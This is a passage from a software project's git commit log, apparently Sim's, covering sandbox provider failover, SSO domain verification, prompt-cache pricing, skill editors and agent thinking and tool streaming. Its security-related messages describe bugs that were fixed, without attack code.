sweep interval, so a hanging DB query skips that socket for the pass (never evicting on uncertainty) instead of wedging the scan lane and starving subsequent ticks. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(realtime): round-robin the revocation scan so hung checks cannot starve later sockets Resume each scan pass after the last target the previous pass processed, so a fixed prefix of hanging authorization checks can never repeatedly consume the pass budget and leave sockets behind it unexamined. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> --------- Co-authored-by: Claude Fable 5 <noreply@anthropic.com> |
||
|
Vikhyath Mondreti
|
17d77795b4 |
feat(providers): prompt caching capability + usage-based cache pricing (#5922)
* improvement(providers): validation pass, and stream tool loop improvements * remove deploy options correctly * fix * feat(providers): prompt caching capability and usage-based cache pricing Replace the arbitrary cached-rate heuristic with a single cache-aware pricing function, and add prompt caching as an opt-in capability for Anthropic. Pricing: priceModelUsage in cost-policy.ts is now the only place cache arithmetic happens. Provider adapters normalize their wire shape into ModelUsage (input always excludes cache buckets); the pricing function never branches on provider. This removes five divergent behaviors, including the !!request.context heuristic that gave Router and Evaluator an unearned 10x input discount, and the overwrite that silently billed Anthropic cache reads and writes at zero. Also parses OpenAI cache_write_tokens, previously ignored. Caching: Anthropic gets a capability-gated advanced switch that places cache_control on the last tool and last system block; system is now always a TextBlockParam array. OpenAI gets a stable per-block prompt_cache_key with no UI, since its caching is automatic. * fix(providers): route OpenAI and Gemini block cost through cache-aware pricing Cache-aware pricing only reached trace segments. The billable block cost still called calculateCost on the cache-inclusive prompt total, so OpenAI cache hits and Gemini implicit-cache hits were charged at the full input rate and GPT-5.6+ cache writes went unbilled. Both providers now accumulate cache buckets and price through priceModelUsage, matching the Anthropic token convention where input excludes cache reads and writes. Cached counts are clamped to the prompt total so an over-reporting payload cannot bill more input than the request contained. * fix(streaming): redact tool payloads on selected outputs in public chat Redaction only ran on the empty-selection branch, but a deployment almost always selects outputs, so it was dead in the case it exists for. Selecting toolCalls streamed the raw arguments and results to a public chat client in a chunk frame, and providerTiming carried thinking content the same way. Both paths now extract from the sanitized block output rather than the raw log: the streamed selected output, which is the reachable vector, and the final envelope. Sanitizing the source rather than per selected path means a newly selectable field cannot reopen the hole. * refactor(providers): drop unreachable billing fallbacks Every provider pricing helper took a policy parameter no caller passed. Worse than dead: passing one would have double-applied the margin the central layer already applies. Removed, so providers can only price at list. Also removed guards that cannot fire. The central fallback normalized cache buckets no provider can reach it with (all three that report cache usage price themselves) and did so at a 1x write multiplier no vendor charges. priceModelUsage re-validated token counts the adapter had already clamped, and applyModelCostPolicy defaulted a required total field. Validation now happens once, in the adapter that parses the vendor payload and is the only layer that knows cache buckets are a subset of the prompt total. |
||
|
Waleed
|
513292f17b |
feat(sso): DNS domain verification gating org SSO registration (#5909)
* feat(sso): DNS domain verification gating org SSO registration
Add org-scoped domain ownership verification (DNS TXT challenge) as the
security precondition for configuring SSO. Closes the first-come domain-claim
vuln where any org could wire another company's domain to its own IdP.
- New sso_domain table + migration 0266; existing org SSO domains are
grandfathered as verified so live tenants are unaffected
- Verified-domains settings UI (enterprise-gated) with add/verify/remove
- Register route now requires a verified domain for org-scoped registration;
personal SSO and already-grandfathered domains are unaffected
- Self-host register script writes the verified sso_domain row directly, so
script-driven registration stays backwards compatible
* fix(sso): harden domain verification against concurrency + fix CI lint
Addresses review findings on state invariants under concurrent/failed writes:
- Add unique index on (organization_id, domain) so concurrent claims can't
create duplicate pending rows; POST re-reads and stays idempotent on conflict
- Verify flips the row only if it's still the exact pending challenge checked
(guards deletion/token-rotation mid-DNS-lookup) and maps the partial unique
index violation to 409 instead of an unhandled 500
- Wrap the self-host script's provider write + verified-domain upsert in a
transaction so a failed ownership write can't leave a provider committed
- Format 0266 snapshot/journal with biome (fixes @sim/db lint:check)
* fix(sso): re-check domain verification before provider write (TOCTOU)
The register gate checked the verified sso_domain row only at handler entry,
then ran OIDC discovery before writing the provider. A verified row removed
during that window could still complete registration. Extract the check into a
closure and call it both as an entry fast-fail and authoritatively right before
registerSSOProvider, alongside the existing domain-conflict re-check.
* fix(sso): stop rotating verification token on idempotent re-add
Re-adding a pending domain rotated its verification token, which invalidated a
TXT record the admin may have already published and — under two concurrent
re-adds — could return a token the racing write had already superseded, so the
admin's DNS record would never verify. Return the existing row unchanged
instead; the pending token is always shown in the UI, so it is never lost.
* fix(sso): close register TOCTOU with compensating delete + harden edges
Audit-driven hardening:
- Close the residual register TOCTOU: registerSSOProvider is create-only (throws
if the providerId exists), so a compensating delete after the write is provably
safe — it can only remove the just-created row. If verification was revoked
during the write, roll the provider back and 403.
- Verify is now idempotent under concurrency: a same-org row already flipped to
verified by a racing request returns 200, not a confusing 409.
- Grandfather backfill + self-host script now match normalizeSSODomain's dominant
transforms (lower + trim + strip leading wildcard) so a non-canonical legacy
domain can't miss the runtime gate's lookup. Prod backfill result is unchanged.
- Cleanup: drop dead default export, align card radius to sibling convention.
* fix(sso): redact domain tokens from non-admins + fix script stale-update
Round-5 review findings:
- GET /domains redacted the pending TXT verification token (a management
secret) to any org member. Now only owner/admins read it; members see the
list and status without it. Non-Enterprise orgs get an empty list (entitlement
flag only), never the domains/tokens.
- Self-host script decided update-vs-insert from a read taken OUTSIDE the
transaction; a provider deleted mid-flight made the UPDATE match zero rows
silently while the verified-domain upsert still committed (orphaned domain).
The decision now happens inside the transaction from the UPDATE's row count.
* docs(sso): drop unshipped enforce-SSO / auto-join copy from verified domains
Verified domains currently only gate SSO configuration. Remove the
forward-looking references to enforcing SSO and auto-joining members (deferred
to a later release) from the docs, settings copy, nav description, and schema
comment so we don't promise unshipped features.
* fix(sso): guard rollback to new providers only + Enterprise-gate domain removal
Round-6 review findings:
- The compensating provider rollback now only fires when the provider did not
exist before this request (providerExistedBefore). registerSSOProvider is
create-only today so reaching the rollback already implies a fresh create, but
this makes the safety local and future-proof: if Better Auth ever allowed
updating an existing provider, a revoked-verification rollback must not delete
that pre-existing row.
- DELETE /domains now requires an Enterprise plan like add/list/verify, so all
domain mutations share one entitlement (the UI already hides removal from
non-Enterprise orgs). Adds a delete-route test.
* fix(sso): roll back the SSO provider by row id, not logical keys
The compensating rollback deleted by (providerId, orgId). providerId is unique,
so if this request's row were deleted and recreated by a concurrent registration
in the narrow window before the rollback, the logical-key delete would remove
that other request's provider. Delete by the primary-key id registerSSOProvider
returns instead, so only the exact row this request created is ever removed.
* chore(sso): final-review polish — trim script read, unify copy, doc migration edge
Cosmetic cleanup from a final 4-track adversarial review (no bugs found in the
new logic):
- Self-host script: narrow the pre-transaction existence read to select({ id })
instead of SELECT * (it only feeds a log line now).
- Unify invalid-domain copy ("for example acme.com") and the verified-elsewhere
409 wording ("is already verified by another organization") across routes.
- p-3 shorthand on the domain row card.
- Document the migration's rare two-orgs-share-a-domain grandfather behavior
(login unaffected; validated no such duplicates in prod).
* fix(sso): apply attribute mapping + make SSO edit work; drop dead guard
Two pre-existing SSO bugs the final review surfaced (prod has one SSO org, RVW,
script-registered with the default mapping, so neither change affects it):
- Attribute mapping was passed at the top level of the register payload, which
Better Auth ignores — it reads oidcConfig.mapping / samlConfig.mapping. Nest it
so custom mappings actually apply. (Default mapping is unchanged, so existing
logins are unaffected.)
- Editing an SSO provider was broken: registerSSOProvider is create-only and
threw on the existing providerId → generic 500. Route now detects a provider
the caller already owns and updates it via Better Auth's updateSSOProvider, and
surfaces Better Auth's own error status/message instead of a blanket 500.
Also drops the now-unnecessary providerExistedBefore guard (the rollback deletes
by the created row's primary-key id and register is create-only) and the earlier
final-review polish (script read, unified copy, migration edge note).
Smoke-test SSO login + edit on staging before merge (auth-path change).
* fix(sso): require null org on personal-mode provider lookups (gate bypass)
The personal branch of both provider-ownership lookups keyed on
(providerId, userId) without requiring organizationId IS NULL. Because org
providers store userId = their creator and providerId is globally unique, an org
admin could send a personal-mode request (no orgId) — which skips the membership
check and the domain-verification gate — yet still match, and then via the new
update path move, their org's provider to an unverified domain. Add
isNull(organizationId) to the personal branch of both clauses so it can only
match a genuinely personal provider, matching the route's own isOwnedByCaller.
Found by an adversarial review of the update path added in 394bda9f7.
* fix(sso): script updates the observed provider by id, not providerId
Inside the registration transaction the script updated WHERE providerId — the
logical key. If the observed provider was deregistered and a replacement created
with the same providerId before the transaction ran, that update would clobber
the replacement's config and ownership. Update the specific observed row by its
primary-key id instead; if it's gone we insert, which fails cleanly on the
providerId unique constraint rather than overwriting the replacement.
* fix(sso): script upserts provider via delete-then-insert (no unique constraint)
sso_provider.provider_id is a plain (non-unique) index and prod holds legitimate
duplicates, so the previous "update by id, else insert" could create a duplicate
provider when the observed row was deregistered and replaced before the
transaction — the fallback insert would succeed. Delete every row for the
providerId then insert exactly one, inside the transaction, so the providerId
ends up as exactly this config atomically. Linked accounts key on the providerId
string (not the row id), so existing logins are unaffected.
* fix(sso): guard compensating-delete row id so rollback can't silently no-op
* chore(sso): regenerate migration as 0268 after merging staging
Staging landed migrations 0266/0267, colliding with our 0266. Removed our
migration, merged staging, and regenerated cleanly with drizzle-kit as
0268_sso_domain_verification (identical sso_domain table + indexes), then
re-appended the grandfather backfill. api-validation baseline reconciled to 973
(staging 970 + our 3 domain routes). Also make the register-route test's
registerSSOProvider mock return an id so the guarded compensating delete runs.
* refactor(sso): share normalizeSSODomain via @sim/utils so script matches gate
The self-host script canonicalized SSO domains with a minimal inline transform
(lower+trim+wildcard) that diverged from the app's full normalizeSSODomain
(protocol, port, path, trailing dot, email local part) — equivalent spellings
could store a different ownership key than the runtime gate looks up. Move
normalizeSSODomain into @sim/utils/sso-domain (a pure function) so the register
route, the domain-claim route, and the script all use the identical canonicalizer.
The script now skips the verified-domain record when SSO_DOMAIN isn't a valid
registrable domain instead of storing a malformed key.
|
||
|
|
6dcc65be89 |
feat(skills): add skill editors (#5705)
* feat(skills): permissions layer * chore(db): drop skill_member migration 0261 for regeneration on latest staging Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(db): regenerate skill_member migration as 0262 on latest staging Same DDL as the dropped 0261 (skill_member table, enums, indexes, skill.workspace_shared) plus the hand-written write-user backfill, renumbered after staging's 0261. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(db): regenerate skill_member migration as 0263 after staging merge Staging claimed 0262 (strong_storm); same DDL plus the hand-written write-user backfill, renumbered on the merged snapshot chain. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * chore(db): drop skill_member migration 0263 for regeneration on latest staging Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(db): regenerate skill_member migration as 0264 after staging merge Staging claimed 0263 (workflow_fork_sync_excluded); same DDL plus the hand-written write-user backfill, renumbered on the merged snapshot chain. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * make editing skills full page * fix disclaimer * edit access msg * fix lint * chore(db): drop skill_member migration 0264 for regeneration on latest staging Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(db): regenerate skill_member migration as 0265 after staging merge Staging claimed 0264 (fat_ikaris); same DDL plus the hand-written write-user backfill, renumbered on the merged snapshot chain. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix tests * simplify system * fix * fix lint * add mship skills docs * chore(db): drop skill_member migration 0265 for regeneration on latest staging Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(db): regenerate skill_member migration as 0266 after staging merge Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(deps): override zod to 4.3.6 to dedupe nested copies breaking type-check better-auth 1.6.23 and fumadocs-mdx resolve ^4.3.6 to a nested zod 4.4.3, which makes @sim/auth's inferred betterAuth types non-portable (TS2883) and split docs onto a second zod instance. Both ranges accept the repo-wide pinned 4.3.6, so a single hoisted copy satisfies everything. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix lint * feat(skills,tools): fullscreen skill create + shared custom tool editor Moves the rich-markdown and custom-tool editing surfaces out of modals and onto full-page surfaces, and collapses the duplicated chrome behind shared components. Skills - Add /skills/new, a full-page create surface mirroring the skill detail page (CredentialDetailLayout + DetailSection + unsaved-changes guard). "Add to Sim" navigates there instead of opening a modal. - Import moves to a header action (SkillImportButton) backed by a shared readSkillFile helper; the GitHub-URL import and its /api/skills/import route are removed. - Skill name validation is now one shared validateSkillName, replacing three copies of the kebab-case rule and its messages. - The skill editor roster renders through the shared MemberRow instead of re-deriving its identity block, with a locked role control and a lock-reason tooltip explaining inherited workspace-admin access. Custom tools - Extract the canvas modal's schema/code editors into a shared custom-tool-editor module (fields, wand generation, schema helpers), cutting custom-tool-modal.tsx by ~900 lines. - Settings > Custom tools gains a full-page detail sub-view (SettingsPanel + SettingsSection + saveDiscardActions), deep-linkable via ?custom-tool-id. Rows are clickable; delete now lives only in the detail view. - Replace legacy Button/Input/Badge/Label with the chip family, move chip-field chrome into CodeEditor behind an error prop, and delete its dead wand button. Rich markdown field - maxHeight is now opt-in: omit it on a page and the editor grows with its content so the page owns the only scrollbar. Modals pass explicit caps. - The field variant drops to font-weight 400 to match adjacent chip fields. * fix(skills): address review round on create navigation, 409 copy, and editor audit - Skill create navigated using the first element of the upsert response, but that endpoint returns the caller's whole skill list (built-ins prepended) — match the new skill by its workspace-unique name instead. - The suggested-skill 409 toast claimed the skill existed but was not shared and told the user to ask a skill admin. Every workspace member can already see and use every skill, so a 409 only means the name is taken. - Adding an editor emitted the skill_shared event and SKILL_MEMBER_ADDED audit even when onConflictDoNothing skipped the insert on a concurrent add. Gate both on the insert actually returning a row. * chore: format skills-resolver test import * fix(skills,tools): audit fixes — autocomplete boundary, resize clipping, error routing Two real regressions introduced while simplifying the extracted editor: - The schema-param autocomplete's trigger was rewritten to match a trailing identifier, but the completion still split on separators. The two disagreed, so typing `data.ci` opened the menu and selecting replaced `data.ci` whole — eating the member-access prefix. Both now share one SCHEMA_PARAM_WORD regex. - The uncapped markdown field measured its height only on value change while always setting overflow-hidden, so any width change that re-wrapped lines clipped the tail with no scrollbar to reach it. Now re-measures via ResizeObserver. Also from the audit: - Generation writes bypass the code field's change handler, so an open autocomplete stayed over a disabled streaming editor; close it on busy. - Delete failures rendered in the Schema section's error slot on both custom tool surfaces; route them to a toast instead. - Skill create navigated away while still dirty, stranding the unsaved-changes guard's history sentinel so Back landed on an empty create form. - The Description field on skill create never received its error border. - Drop a double-applied opacity-50 (the editor already dims when disabled), a dead try/catch around a non-throwing call that also shadowed the error prop, and a stale reference to a /tools page that does not exist. - Docs still described the removed GitHub-URL import and the old Add Skill dialog; rewrite for the create page and file/paste import. * feat(tools): read-only tool detail, create lands on the new tool, drop dead wand prompt API - Viewers without edit rights could not open a custom tool at all, while the equivalent skill and custom-block surfaces both offer a read-only view. The detail page now takes `readOnly`: editors inert, no Save/Discard/Delete, no Generate. Creating still requires edit rights. - Creating a tool bounced back to the list while creating a skill lands on the new skill. Tools now do the same. The upsert returns the workspace's whole tool list (newest first) rather than just the new row, so the id is matched by title instead of by index — the same trap that produced the skill-create navigation bug. - Remove `openPrompt`/`closePrompt` from useWand. `closePrompt`'s last callers went away with the custom-tool-modal extraction and `openPrompt` had none before it; nothing reads `isPromptVisible` any more either. * fix(tools): read-only editors, design-system wrench, skills-matching tool identity - readOnly never reached the editors: the prop gated actions and Generate but the schema and code fields were still typable for viewers without edit rights. Wire disabled through both fields into CodeEditor. - The row icon used lucide's Wrench (strokeWidth 2) where @sim/emcn/icons ships one drawn for this system (1.55, tuned viewBox), and it inherited body text colour instead of --text-icon. Swap it. - Give the tool detail page the same identity heading as skill detail: tile, name, and description at the top left, instead of only a header title. - Extract ResourceTile so the skills and tools tiles share one definition (SkillTile now composes it), and add an opt-in `iconFilled` to SettingsResourceRow so the tools list tile matches the skills gallery. Both default to today's behaviour for every existing consumer. * fix(mentions): use the product's own glyph for every @ mention kind The `@` menu and the inserted chip mapped kinds to arbitrary lucide icons — `Sparkles` for a skill, a generic `File` for every file — while the rest of the product has a settled glyph per resource. Mirror CHAT_CONTEXT_KIND_REGISTRY, which Chat's `@` menu already renders from: - skill now uses AgentSkillsIcon, the same glyph SkillTile shows everywhere - workflow / folder / table / knowledge use the @sim/emcn/icons set the sidebar and the chat registry use - file derives its icon from the filename extension, so a .pdf and a .csv are distinguishable, matching the file list and Chat's context chips - integration keeps the block's brand icon from the registry Also drop the generic placeholder. `kind` is untrusted — the node schema defaults it to `''` and a hand-written `sim:` link can carry anything — but an unrecognized kind now yields no icon instead of a meaningless box, which is what the chat registry does. The menu already guarded a missing icon; the chip now does too, so this cannot crash on a malformed link. * chore(db): drop skill_member migration 0266 for regeneration on latest staging * feat(db): regenerate skill_member migration as 0267 after staging merge --------- Co-authored-by: Claude Fable 5 <noreply@anthropic.com> Co-authored-by: Waleed Latif <walif6@gmail.com> |
||
|
|
d24bc7eccb |
feat(agent-stream): thinking and tool streaming (#5671)
* feat(agent-stream): add agent-events thinking/tool streaming for chat and canvas Ship the agent-events-v1 protocol with provider tool loops, dual-gated chat thinking, DeepSeek/Groq/OpenAI reasoning wiring, and ChatGPT-like thinking chrome. Co-authored-by: Cursor <cursoragent@cursor.com> * fix(agent-stream): clear stuck streaming UI and format db snapshot Biome was failing CI on migrations/meta/0261_snapshot.json. Also settle assistant streaming/tool flags when SSE ends without a terminal frame, without clobbering Stop's finalized content. Co-authored-by: Cursor <cursoragent@cursor.com> * fix(agent-stream): satisfy biome format and import order Auto-format the sim package for CI lint:check, and repair the Anthropic streaming tool-loop payload after an unsafe delete-to-undefined rewrite. Co-authored-by: Cursor <cursoragent@cursor.com> * fix(agent-stream): keep drained answer on abort and update migration journal test Treat AbortError from reader.cancel as a cancelled pump result so soft-complete retains answerText. Point the workspace storage migration journal assertion at 0261_chat_include_thinking. Co-authored-by: Cursor <cursoragent@cursor.com> * fix(chat): keep Stop notice when server emits cancel error Ignore terminal SSE error frames after the user aborts so "Client cancelled request" cannot overwrite "Response stopped by user". Co-authored-by: Cursor <cursoragent@cursor.com> * improvement(chat): ChatGPT-style thinking shimmer and stick-to-bottom scroll Add left-to-right shimmer on live thinking label/body, keep scroll working by shimmering an inner node, and follow the answer only while near the bottom. Co-authored-by: Cursor <cursoragent@cursor.com> * fix(agent-stream): stop pump on client disconnect; soft-complete agents only Abort the agent stream pump when the projected HTTP body is cancelled so provider work does not continue after disconnect. Limit AbortError soft-success to Agent blocks so Function/HTTP cancels still fail in logs. Co-authored-by: Cursor <cursoragent@cursor.com> * fix(agent-stream): persist includeThinking across pause snapshots Paused chat runs with Include thinking enabled were dropping the flag when serializing the pause snapshot, so resume always rebuilt streams without thinking/tool SSE frames. Co-authored-by: Cursor <cursoragent@cursor.com> * fix(agent-stream): keep drained answer text when stream times out Persist pump answerText onto the streaming execution before throwing on timeout, and carry that partial content into the failed block output so logs match what the client already saw. Co-authored-by: Cursor <cursoragent@cursor.com> * improvement(chat): auto-collapse tools chrome when tool streaming ends Match thinking UX: open while tools run, collapse when finished, and keep the panel open only if the user manually reopens it. Co-authored-by: Cursor <cursoragent@cursor.com> * fix(agent-stream): settle canvas stream chrome on failure paths Clear agentStreamActive and settle running tool chips when blocks error, timeouts cancel runs, or execution ends without stream:done so the output panel does not stay on live Thinking/Using tools chrome. Co-authored-by: Cursor <cursoragent@cursor.com> * fix(lint): organize imports in terminal console store Co-authored-by: Cursor <cursoragent@cursor.com> * fix(agent-stream): mark open tools cancelled on HITL pause Pause can interrupt a tool loop without tool end events; settling those chips as success incorrectly showed unfinished tools as complete. Co-authored-by: Cursor <cursoragent@cursor.com> * chore(db): drop branch-local 0261 migration ahead of staging merge * chore(db): regenerate include_thinking migration as 0266 post staging merge * fix(providers): resolve type errors in streaming tool loop call sites * fix(agent-stream): gate agent events opt-in and correct provider loop behavior - streamToolCalls and provider thinking requests now require run-level agentEvents opt-in (canvas on, chat dual-gated, API off) so existing runs keep pre-agent-events behavior exactly - OpenAI reasoning summaries opt-in + strip-and-retry on unverified-org 400 - streaming loops run tool postProcess again (firecrawl/exa async results) - bedrock live loop falls back to silent path for responseFormat - deepseek: reasoning_content pass-back unconditional, 'none' sends disabled - groq: x_groq.usage fallback, reasoning params gated, qwen none disables - gemini: functionCall parts echoed verbatim, local ids only for events - truncated turns (max_tokens/length) no longer execute partial tool calls - MAX_TOOL_ITERATIONS exit flushes last turn text as final answer - iterations reports actual model calls; shared loop plumbing extracted * refactor(agent-stream): consolidate protocol, dedupe client/server plumbing, hygiene - canonical ChatStreamFrame union + type guards consumed by server emitters and the chat client; stream_error restored to legacy log-only handling - strip thinking/tool args from providerTiming on public final envelopes - shared tool-chip lifecycle module for chat, canvas, and console store - shared sink-to-execution-events forwarder replaces the copy-pasted adapter in the execute route and HITL manager; LIVE_ONLY event set shared - stream:thinking payload field renamed data->text; canvas thinking batched - abort reasons carried as AbortError DOMExceptions so raw fetch consumers classify correctly; thinking cap renamed to chars and scope-documented - kimi wired for agent events like the other compat providers - deleted dead exports/step-N comments; fixtures match real wire shapes; loop tests use explicit mocks instead of importOriginal * test(agent-stream): cover the dual-gated execution path and typed abort reasons - chat route tests assert agentEvents reaches executeWorkflow only when policy and protocol header agree - execution-limits tests assert AbortError-typed reasons - executor metadata type carries agentEvents * fix(deploy-modal): align include-thinking spacing with the modal's 6.5px rhythm * docs(agent-stream): autogenerate per-model thinking/tool stream support on the Agent block page - capabilities.thinking.streamed ('full' | 'summary' | 'none') on models.ts, explicit for the Anthropic family where visibility varies per generation; getThinkingStreamVisibility exposes the derivation for docs and UI alike - scripts/sync-agent-stream-docs.ts regenerates the support tables between markers in workflows/blocks/agent.mdx from the model registry and STREAMING_TOOL_CALL_PROVIDERS; --check fails on drift or missing metadata - wired agent-stream-docs:check into CI next to the other sync gates * feat(anthropic): request summarized thinking display for omitted-default Claude models The newest Claude generations (Fable 5, Sonnet 5, Opus 4.8/4.7) default thinking.display to omitted — empty thinking blocks, no deltas. On agent-events runs Sim now opts back in with display: 'summarized', driven by the registry's streamed metadata; legacy runs keep the exact pre-agent-events request shape. Registry, generated docs, and the family capability table updated accordingly. * docs(skills): cover thinking.streamed and agent-stream docs sync in model skills * chore(deps): upgrade @anthropic-ai/sdk to 0.114.0 and adopt official types - adaptive thinking, display, and output_config are now SDK-typed; the only remaining custom payload field is output_format (beta-header structured outputs, which the SDK models as output_config.format instead) - anthropic stream events narrow on the SDK's discriminated unions instead of anonymous casts; compat deltas type content/tool_calls from the OpenAI SDK with vendor reasoning fields as an explicit optional extension - @sim/auth exposes an explicit VerifyAuth contract so its declarations no longer reference better-auth's nested zod instance (TS2883 under fresh install layouts); realtime consumer aligned - docs app zod pinned to the repo's exact 4.3.6 so ai SDK types bind the same zod instance (docs type-check was latently broken) - knowledge embedding tests made hermetic against local .env keys and hosted rotation fallback * refactor(providers): replace legacy as-any stream casts with annotated typed casts * refactor(providers): finish provider audit — remove dead byte-stream helper, annotate remaining legacy casts Audit of all 26 providers for the agent-events feature confirmed every streaming execution declares agent-events-v1 and every adapter emits AgentStreamEvent objects. Cleanup from the audit: the unconsumed legacy createOpenAICompatibleStream byte helper is deleted, and the remaining streamResponse-as-any casts (xai, nvidia, kimi, meta, zai, sakana) are annotated typed casts matching the groq/deepseek fix. * feat(streaming): stream answer text live during tool loops via turn_end protocol The live tool loops buffered all answer text per model turn (classification of intermediate vs final is only known at turn end), so gated surfaces saw thinking stream, then dead air with the thinking chrome stuck open, then the whole answer at once. Loops now emit text deltas live as `turn: 'pending'` plus a `turn_end` event per turn. The pump buffers pending text and projects it to the byte path (answerText/logs/memory/legacy clients) only on a final turn_end, so all settled semantics are unchanged. Gated surfaces render the pending text as it streams and reconcile with a reset when a turn resolves to tools: - public chat: live `chunk` frames from the sink + dual-gated `chunk_reset`; byte-path frame emission is suppressed to avoid duplicates (kept for response-format transformed streams via clientStreamTransformed) - canvas: forwarder emits live `stream:chunk` + `stream:chunk_reset`; the execute route and HITL resume readers stop re-emitting byte chunks; panel chat tracks per-block segments and replaces content on flush - chat client: per-block text segments, chunk_reset handling, and thinking chrome now settles on tool start as well as first answer chunk * fix(streaming): address validated review findings across provider gating and reset reconciliation Three-reviewer pass over the branch, findings validated against staging: - agent-handler forwards agentEvents to executeProviderRequest — the flag was computed but dropped in the field-by-field copy, so provider-side thinking requests (OpenAI summaries, Gemini includeThoughts, Anthropic summarized display) never activated on opted-in runs - openai: restore summary:'auto' alongside explicit reasoning effort — staging always paired them; gating summary purely on agentEvents changed legacy payloads - gemini: Gemini 2 + tools + responseFormat falls back to the silent path; the live loop never applied the deferred responseSchema for AUTO tools - openai-compat loop: malformed tool-argument JSON fails the call instead of executing with defaulted {} args (staging parsed inside the execution try) - openai-compat parser: a vendor id arriving after a synthesized start no longer renames the call (start/end ids stayed consistent) - stream-pump: abort closes the byte projection so a drain blocked on backpressure cannot deadlock teardown - chunk_reset removes the block from the client text order (deployed chat + panel chat) so a reset block re-registers at arrival position — fixes separator/order corruption when parallel blocks stream around a reset - resume route echoes the negotiated X-Sim-Stream-Protocol response header (parity with the chat route); docs: [DONE] wire shape + final-vs-error terminal semantics corrected * chore(deps): exempt pinned @anthropic-ai/sdk 0.114.0 from the release-age gate CI's bun install --frozen-lockfile blocks 0.114.0 (published 2026-07-23, younger than the 7-day supply-chain gate). The pin is exact and was vetted for the agent-events streaming work; following the existing bunfig pattern, the exclusion ages out on 2026-07-30 and should be dropped then. * chore(providers): fix double-cast-allowed annotation placement for the strict boundary audit The audit only recognizes the annotation on the line directly above the cast; two annotations had drifted behind intervening code lines (groq stream params, deepseek loop messages) and the OpenAI reasoning-summary widening cast was never annotated. No behavior change. * fix(chat): settle straggler tool chips as error when final reports failure A failed run can still terminate with a `final` frame carrying success: false; running chips previously settled green regardless of the outcome. * fix(canvas): wire agent stream chrome into run-from-block Run-from-block executions emit the same live stream:thinking/stream:tool events as full runs but registered none of the handlers, so the terminal never showed thinking or tool chips on that path. The per-run chrome (batched thinking writes + tool chip lifecycle + settlement on stream done, block error, and every terminal execution state) is extracted into a shared createAgentStreamChrome factory consumed by both paths. --------- Co-authored-by: Bill Leoutsakos <billleoutsakos@Bills-MacBook-Pro.local> Co-authored-by: Cursor <cursoragent@cursor.com> Co-authored-by: Vikhyath Mondreti <vikhyath@simstudio.ai> |
||
|
Theodore Li
|
96c67e9123 |
feat(sandbox): add Daytona as a manual-flip failover for E2B (#5860)
* feat(sandbox): add Daytona as a manual-flip failover for E2B
E2B was a hard single point of failure: lib/execution/e2b.ts had no retry
and no fallback, so a failed Sandbox.create() killed Python function blocks,
JS-with-imports, shell, doc generation and the Pi cloud agent outright.
Extract a SandboxRunner boundary (lib/execution/remote-sandbox) with an E2B
runner and a Daytona runner, selected once per execution by the
sandbox-provider-daytona AppConfig flag. Everything above the provider
boundary — marker parsing, mount materialization, file export, corruption
handling — is unchanged.
Selection resolves before create() and never mid-execution, since user code
has side effects. Each sandbox kind fails closed when its snapshot id is unset.
Notes on the Daytona adapter:
- language binds at create(), not per call: Daytona applies it as a sandbox
label and silently runs JS through Python if passed to codeRun
- Python routes via CodeInterpreter for its {name,value,traceback} error shape,
which matches E2B's and keeps formatE2BError's line offsets correct
- timeouts convert ms to seconds
- the streaming path delivers env via the filesystem API, as
SessionExecuteRequest has no env field and secrets must not reach a command line
Drops the dead E2BExecutionResult.images field (populated, never consumed).
* improvement(sandbox): select the provider by SANDBOX_PROVIDER env var
Replaces the boolean sandbox-provider-daytona feature flag with a
SANDBOX_PROVIDER env var naming the provider ('e2b' default, or 'daytona').
A boolean doesn't scale to a third adapter; a keyed registry does.
- PROVIDERS is a Record<SandboxProviderId, SandboxProvider>, so adding an
adapter is one entry plus one id-union member — an unhandled provider is a
compile error, not a runtime surprise
- resolveProvider() reads env synchronously and throws on an unknown value
(fail fast) instead of an async feature-flag lookup
- drops the sandbox-provider-daytona flag and SANDBOX_PROVIDER_DAYTONA fallback
Verified end-to-end: a Python function block through the running app routes to
Daytona (Creating Daytona sandbox, kind: code) with SANDBOX_PROVIDER=daytona.
* fix(sandbox): gate remote execution by provider availability, not E2B
Addresses the review round on #5860.
- Availability was gated on isE2bEnabled / isE2BDocEnabled, so a Daytona-only
deployment (E2B_ENABLED unset) had its Python/shell/JS-with-imports and doc
paths rejected before the provider-neutral sandbox call could run. Replace both
with provider-aware flags (isRemoteSandboxEnabled / isDocSandboxEnabled) derived
from the selected SANDBOX_PROVIDER's own credentials + image. E2B behavior is
unchanged (the E2B branch mirrors the old definitions exactly).
- Make the function-block gate error messages provider-neutral.
- Daytona's streaming runCommand (Pi) returned empty stdout/stderr and delivered
output only via callbacks, so the Pi cloud flow — which parses markers from
stdout and formats errors from stderr — saw nothing. Accumulate the streamed
chunks and return them while still forwarding to the callbacks.
Renames the env-flag exports (and the @sim/testing mock) to match. Adds a
conformance test that the streamed Pi output lands in stdout/stderr.
* fix(sandbox): resolve SANDBOX_PROVIDER case-insensitively
Addresses the round-2 review on #5860. env-flags lowercased SANDBOX_PROVIDER
for the availability gate, but resolveProvider looked up the raw value in a
lowercase-keyed map — so 'Daytona' passed the gate then threw Unknown
SANDBOX_PROVIDER at create. resolveProvider now normalizes casing identically.
* fix(sandbox): use getErrorMessage in build/verify scripts
check:utils flagged the inline `error instanceof Error ? error.message : ...`
pattern in the two new scripts. Use getErrorMessage from @sim/utils/errors,
matching the repo convention the check enforces.
* fix(sandbox): fall back to stdout for Daytona failure text
Daytona merges both streams into stdout and returns an empty stderr, but the
shell-error, base64-export, and URL-mount error builders read only
result.stderr — so Daytona failures surfaced a generic 'Process exited with
code N' / 'base64 failed' / 'curl exited N' instead of the real command output
that the API and agents rely on. Fall back to stdout before the generic message
(provider-agnostic: E2B still populates stderr). Strengthens the shell-error
conformance test to assert the real output surfaces.
* fix(sandbox): enforce timeout on Daytona streaming; drop leftover E2B copy
- Daytona's streaming path (Pi) started the command with runAsync:true and then
